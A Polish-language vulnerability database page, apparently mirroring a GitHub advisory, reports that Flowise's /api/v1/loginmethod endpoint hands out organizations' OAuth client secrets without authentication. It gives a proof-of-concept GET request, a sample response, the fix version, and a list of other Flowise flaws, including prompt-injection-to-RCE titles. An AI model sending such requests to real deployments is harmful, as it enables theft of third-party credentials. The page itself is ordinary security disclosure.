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Flowise: Unauthenticated Information Disclosure of OAuth Secrets (Cleartext) via GET Request

  • Ujawniono: 16.04.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

I have discovered a critical Missing Authentication vulnerability on the /api/v1/loginmethod endpoint. The API allows unauthenticated users (guests) to retrieve the full SSO configuration of any organization by simply providing an organizationId. The response includes sensitive OAuth credentials (Client Secrets) in cleartext.

PoC

The following request can be sent by anyone on the internet without any cookies or authorization headers.

Request

http
GET /api/v1/loginmethod?organizationId=<any_organization_id> HTTP/2
Host: cloud.flowiseai.com
Accept: application/json
Content-Type: application/json

Response: The server returns 200 OK with sensitive credentials:

js
{
  "providers": [
    {
      "id": "a04ba769-b810-481d-8d6b-84f8c377dea5",
      "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
      "name": "azure",
      "config": {
        "tenantID": "",
        "clientID": "",
        "clientSecret": ""
      },
      "status": "disable",
      "createdDate": "2025-12-26T18:52:33.453Z",
      "updatedDate": "2025-12-26T19:31:56.087Z",
      "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
      "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
    },
    {
      "id": "eda8bd90-1c45-4aca-933f-3a53d9be4161",
      "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
      "name": "google",
      "config": {
        "clientID": "123455",
        "clientSecret": "123455"
      },
      "status": "enable",
      "createdDate": "2025-12-26T18:52:33.453Z",
      "updatedDate": "2025-12-26T19:31:56.087Z",
      "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
      "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
    },
    {
      "id": "0d238df0-c89c-4733-bf57-6ec06f58c7e7",
      "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
      "name": "auth0",
      "config": {
        "domain": "",
        "clientID": "",
        "clientSecret": ""
      },
      "status": "disable",
      "createdDate": "2025-12-26T18:52:33.453Z",
      "updatedDate": "2025-12-26T19:31:56.087Z",
      "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
      "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
    },
    {
      "id": "e060ae88-c7f4-4b7c-9bdc-5321963a1648",
      "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
      "name": "github",
      "config": {
        "clientID": "",
        "clientSecret": ""
      },
      "status": "disable",
      "createdDate": "2025-12-26T18:52:33.453Z",
      "updatedDate": "2025-12-26T19:31:56.087Z",
      "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
      "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
    }
  ],
  "callbacks": [
    {
      "providerName": "azure",
      "callbackURL": "https://cloud.flowiseai.com/api/v1/azure/callback"
    },
    {
      "providerName": "google",
      "callbackURL": "https://cloud.flowiseai.com/api/v1/google/callback"
    },
    {
      "providerName": "auth0",
      "callbackURL": "https://cloud.flowiseai.com/api/v1/auth0/callback"
    },
    {
      "providerName": "github",
      "callbackURL": "https://cloud.flowiseai.com/api/v1/github/callback"
    }
  ]
}

Affected Deployments

  • FlowiseAI Cloud (cloud.flowiseai.com)
  • Self-hosted FlowiseAI instances where the /api/v1/loginmethod endpoint is exposed

Impact

An unauthenticated attacker can harvest sensitive API secrets (Google, Microsoft, GitHub Client Secrets) from any organization on the cloud platform. This leads to complete compromise of the organization's third-party integrations and potential data breaches.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm flowise < 3.1.0 3.1.0

Odnośniki

Ocena CVSS 5.3/10
Wektor CVSS
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Słabość (CWE)
CWE-306, CWE-312
Platforma
npm
Paczka
flowise
Ujawniono
16.04.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-6pcv-j4jx-m4vx - CC BY 4.0

Historia podatności: flowise

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Wszystkie (114) w archiwum
Wszystkich wpisów
114
Pierwsza → ostatnia
04.2024 10.2026
Bez poprawki
16
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 28
  • Wysoka 62
  • Średnia 24

Ujawnienia w latach

Istotność:
  1. Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
    Krytyczna CVE-2026-73487 < 3.1.3 3.1.3
  2. Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
    Krytyczna CVE-2026-73483 < 3.1.3 3.1.3
  3. Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service
    Krytyczna CVE-2026-70478 < 3.1.3 3.1.3
  4. Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability
    Krytyczna CVE-2026-70477 < 3.1.3 3.1.3
  5. Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation
    Wysoka CVE-2026-70476 < 3.1.3 3.1.3
  6. Flowise: Missing Authorization on Execution Update Endpoint
    Wysoka CVE-2026-70475 < 3.1.3 3.1.3
  7. Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
    Wysoka CVE-2026-70474 < 3.1.3 3.1.3
  8. Flowise: Information Disclosure in GET /api/v1/upsert-history returns the entire server-wide upsert history
    Wysoka CVE-2026-70473 < 3.1.3 3.1.3
  9. Flowise: Cross-workspace credential IDOR in openai-assistants-vector-store
    Wysoka CVE-2026-70472 < 3.1.3 3.1.3
  10. Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation
    Krytyczna CVE-2026-69264 < 3.1.3 3.1.3
  11. Flowise: Authenticated arbitrary file write in the `S3 Directory` document loader via unsanitized S3 object keys
    Wysoka ghsa-88pr-878c-24wf < 3.1.3 3.1.3
  12. Flowise: RBAC Bypass Leading to Unauthorized Workspace Variables Disclosure
    Wysoka CVE-2026-70471 < 3.1.3 3.1.3
  13. Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE
    Krytyczna CVE-2026-70470 < 3.1.3 3.1.3
  14. Flowise: CVE-2025-8943 Patch Bypass: npm_config_yes bypasses MCP environment variable blocklist (Unauthenticated RCE)
    Wysoka CVE-2026-69263 < 3.1.3 3.1.3
  15. Flowise: `DELETE /api/v1/chatflows/:id` does not validate resource type, allowing `agentflows:delete` and `chatflows:delete` to delete each other’s flow type
    Wysoka CVE-2026-69262 < 3.1.3 3.1.3
  16. Flowise RCE via SQLite Record Manager Node
    Krytyczna CVE-2026-69259 < 3.1.3 3.1.3
  17. Flowise: Unauthenticated Property Injection into Flow Execution Context via Ungated `overrideConfig` Spread in Prediction API
    Wysoka CVE-2026-69258 < 3.1.3 3.1.3
  18. Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses
    Wysoka CVE-2026-69257 < 3.1.3 3.1.3
  19. Flowise: Remote Code Execution Vulnerability in CSVAgent
    Krytyczna CVE-2026-69256 < 3.1.3 3.1.3
  20. Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified
    Krytyczna CVE-2026-69255 < 3.1.3 3.1.3
  21. Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override
    Krytyczna CVE-2026-69254 < 3.1.3 3.1.3
  22. Flowise Sandbox Escape to RCE
    Krytyczna CVE-2026-69253 < 3.1.3 3.1.3
  23. Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization
    Wysoka CVE-2026-69252 < 3.1.3 3.1.3
  24. Flowise RCE via TypeORM DataSource
    Krytyczna CVE-2026-69251 < 3.1.3 3.1.3
  25. Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration
    Wysoka CVE-2026-69250 < 3.1.3 3.1.3
  26. FlowiseAI: Evaluator create+update mass-assignment allows cross-workspace evaluator takeover
    Wysoka · 8.8 CVE-2026-46480 < 3.1.2 3.1.2
  27. FlowiseAI: Evaluation create+update mass-assignment allows cross-workspace evaluation takeover
    Wysoka · 8.8 CVE-2026-46479 < 3.1.2 3.1.2
  28. FlowiseAI: DatasetRow create+update mass-assignment allows cross-workspace row takeover
    Wysoka · 8.8 CVE-2026-46478 < 3.1.2 3.1.2
  29. FlowiseAI: Dataset create+update mass-assignment allows cross-workspace dataset takeover
    Wysoka · 8.8 CVE-2026-46477 < 3.1.2 3.1.2
  30. FlowiseAI: CustomTemplate create+update mass-assignment allows cross-workspace template takeover
    Wysoka CVE-2026-46476 < 3.1.2 3.1.2
  31. FlowiseAI: Assistant create+update mass-assignment allows cross-workspace assistant takeover
    Wysoka · 8.8 CVE-2026-46475 < 3.1.2 3.1.2
  32. FlowiseAI: Vector Store No Permission Checks
    Wysoka · 8.8 CVE-2026-46444 < 3.1.2 3.1.2
  33. FlowiseAI Vulnerable to Credential Data Leak
    Wysoka CVE-2026-46443 < 3.1.2 3.1.2
  34. FlowiseAI: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape
    Krytyczna CVE-2026-46442 < 3.1.2 3.1.2
  35. FlowiseAI has Mass Assignment in Assistant Update Endpoint that Allows Cross-Workspace Resource Reassignment
    Wysoka CVE-2026-46441 < 3.1.2 3.1.2
  36. Flowise has an MCP Security Bypass that Enables RCE
    Wysoka CVE-2026-56274 < 3.1.2 3.1.2
  37. FlowiseAI Exposes Basic Auth Credentials via API
    Wysoka · 7.5 CVE-2026-46440 < 3.1.2 3.1.2
  38. FlowiseAI has Mass Assignment in Chatflow Update Endpoint that Allows Cross-Workspace AgentFlow Reassignment
    Wysoka CVE-2026-42863 < 3.1.2 3.1.2
  39. FlowiseAI has Mass Assignment in Tool Update Endpoint that Allows Cross-Workspace Resource Reassignment
    Wysoka CVE-2026-42862 < 3.1.2 3.1.2
  40. FlowiseAI has Mass Assignment in Variable Update Endpoint that Allows Cross-Workspace Resource Reassignment
    Wysoka CVE-2026-42861 < 3.1.2 3.1.2
  41. Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability
    Krytyczna · 9.8 CVE-2026-41264 < 3.1.0 3.1.0
  42. Flowise: Airtable_Agent Code Injection Remote Code Execution Vulnerability
    Krytyczna · 9.8 CVE-2026-41265 < 3.1.0 3.1.0
  43. Flowise: Unauthenticated TTS endpoint accepts arbitrary credential IDs — enables API credit abuse via stored credentials
    Wysoka · 7.5 CVE-2026-41279 < 3.1.0 3.1.0
  44. Flowise: Public chatflow endpoints return unsanitized flowData including plaintext API keys, passwords, and credential IDs
    Wysoka · 7.5 CVE-2026-41278 < 3.1.0 3.1.0
  45. Flowise: Mass Assignment in DocumentStore Create Endpoint Leads to Cross-Workspace Object Takeover (IDOR)
    Wysoka · 8.8 CVE-2026-41277 < 3.1.0 3.1.0
  46. Flowise: resetPassword Authentication Bypass Vulnerability
    Wysoka · 9.8 CVE-2026-41276 < 3.1.0 3.1.0
  47. Flowise: Cypher Injection in GraphCypherQAChain
    Wysoka CVE-2026-41274 < 3.1.0 3.1.0
  48. Flowise: Password Reset Link Sent Over Unsecured HTTP
    Wysoka · 7.5 CVE-2026-41275 < 3.1.0 3.1.0
  49. Flowise: Unauthenticated OAuth 2.0 Access Token Disclosure via Public Chatflow in Flowise
    Wysoka · 8.2 CVE-2026-41273 < 3.1.0 3.1.0
  50. Flowise: APIChain Prompt Injection SSRF in GET/POST API Chains
    Wysoka · 7.1 CVE-2026-41271 < 3.1.0 3.1.0
  51. Flowise: SSRF Protection Bypass (TOCTOU & Default Insecure)
    Wysoka · 7.1 CVE-2026-41272 < 3.1.0 3.1.0
  52. Flowise: SSRF Protection Bypass via Unprotected Built-in HTTP Modules in Custom Function Sandbox
    Wysoka · 7.1 CVE-2026-41270 < 3.1.0 3.1.0
  53. Flowise: File Upload Validation Bypass in createAttachment
    Wysoka · 7.1 CVE-2026-41269 < 3.1.0 3.1.0
  54. Flowise: Parameter Override Bypass Remote Command Execution
    Wysoka · 7.7 CVE-2026-41268 < 3.1.0 3.1.0
  55. Flowise: Sensitive Data Leak in public-chatbotConfig
    Wysoka · 7.5 CVE-2026-41266 < 3.1.0 3.1.0
  56. Flowise: Improper Mass Assignment in Account Registration Enables Unauthorized Organization Association
    Wysoka · 8.1 CVE-2026-41267 < 3.1.0 3.1.0
  57. Flowise: Code Injection in CSVAgent leads to Authenticated RCE
    Krytyczna · 8.8 CVE-2026-41137 < 3.1.0 3.1.0
  58. Flowise: Remote code execution vulnerability in AirtableAgent.ts caused by lack of input verification when using `Pandas`.
    Wysoka · 8.3 CVE-2026-41138 < 3.1.0 3.1.0
  59. Flowise: Unauthenticated Information Disclosure of OAuth Secrets (Cleartext) via GET Request ten wpis
    Średnia · 5.3 CVE-2026-56270 < 3.1.0 3.1.0
  60. Flowise: Authenticated RCE Via MCP Adapters
    Krytyczna · 9.9 CVE-2026-40933 < 3.1.0 3.1.0
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